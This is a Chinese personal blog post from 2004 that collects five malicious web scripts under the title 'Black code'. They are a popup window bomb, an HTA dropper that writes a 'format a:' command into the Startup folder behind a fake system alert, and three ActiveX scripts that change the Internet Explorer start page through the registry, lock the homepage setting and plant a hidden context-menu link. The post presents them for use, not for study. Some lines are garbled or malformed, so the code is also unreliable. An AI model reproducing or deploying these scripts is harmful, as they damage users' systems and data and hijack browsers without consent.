恶意代码/Black code - ZhenHua 's blog

« 窗口控制代码

ASP数据库编程常用代... »

Category: JavaScript

恶意代码/Black code

[ 2004-09-08 18:30:44 | Author: zhenhua ]

Font Size: Large | Medium | Small

1.窗口炸弹代码

<script language="javascript">
function windowBomb()
{
var iCounter=0;
while (true)
{
window.open("http://******","crashing"+iCounter,"width=,height=,resizable=no");
iCounter++;
}
}
</script>

2.格式化硬盘的代码

<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C--3FBFC">
</object>
<script>
scr.Reset();
scr.Path="c:\\windows\\Start Menu\\Programs\\启动\\automat.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-aaDo-ADB9-ooCo4FD58AoB'>
</object>
<script>
wsh.Run('start /m format a:/q /autotest /u');
alert('Important:Windows is configuring the system.Please do not interrupt this process.');
</script>";
scr.write();
</script>

3.自动设定主页代码

<script language=javascript>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveX.ActiveXComponent></applet>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADb9-00C04FD58A0B}");
a1.createInstance();
Shl=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO=a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net=a1.GetObject();
try
{
if(documents \.cookiess.indexOf("Chg"0==-1)
{
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.***.com");
Shl.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.***.com");
var expdate=new Date((new Date()).getTime()+(1));
documents \.cookiess="Chg=general;expires="+expdate.toGMTString()+";path=/;"
}
}
catch(e)
{}
}
function init()
{
setTimeout("f()",1000);
}
init();
</script>

4.使IE的Internet选项的主页条失去作用（变灰）的代码

<script language=javascript>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveX.ActiveXComponent></applet>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADb9-00C04FD58A0B}");
a1.createInstance();
sh=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo=a1.GetObject();
if(documets \.cookiess.indexOf("km169set")==-1)
{
sh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Internet Explorer\\Control Panel\\HomePage",1,"REG_DWORD");
hd=fo.CreateTextFile();
hd.write('');
hd.close();
file=fo.GetFile("c:\\yntop.htm");
file.Attributes=6;
var expdate=new Date((new Date()).getTime()+(1));
document \.cookiess="km169set=km169;expires="+expdate.toGMTString()+";path=/;"
}
}
catch(e)
{}
}
function init()
{
setTimeout("f()",1000);
}
init();
</script>

5.在鼠标右键菜单加入网页链接

<script language=javascript>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveX.ActiveXComponent></applet>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADb9-00C04FD58A0B}");
a1.createInstance();
sh=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo=a1.GetObject();
if(documets \.cookiess.indexOf("km169set")==-1)
{
sh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Internet Explorer\\MenuExt\\******\\","c:\\yntop.htm");
sh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Internet Explorer\\MenuExt\\******\\contexts",Oxf3,"REG_DWORD");
hd=fo.CreateTextFile("c:\\yntop.htm");
hd.write('<html><head></head><script language=javascript>window.open("http://www.****.com:);</script></html>');
hd.close();
file=fo.GetFile("c:\\yntop.htm");
file.Attributes=6;
var expdate=new Date((new Date()).getTime()+(1));
document \.cookiess="km169set=km169;expires="+expdate.toGMTString()+";path=/;"
}
}
catch(e)
{}
}
function init()
{
setTimeout("f()",1000);
}
init();
</script>

Comments Feed: http://www.zhenhua.org/feed.asp?q=comment&id=141

Trackback URL: http://www.zhenhua.org/trackback.asp?id=141

There is no comment on this article.

If you feel this site you find this information helpful, please click on the donation, which is voluntary,Thank you.
Post Comment
Smilies Enable UBB Codes Auto Convert URL Show Smilies Hidden Comment	Username: Password: Register Now? * Please Enter the Security Code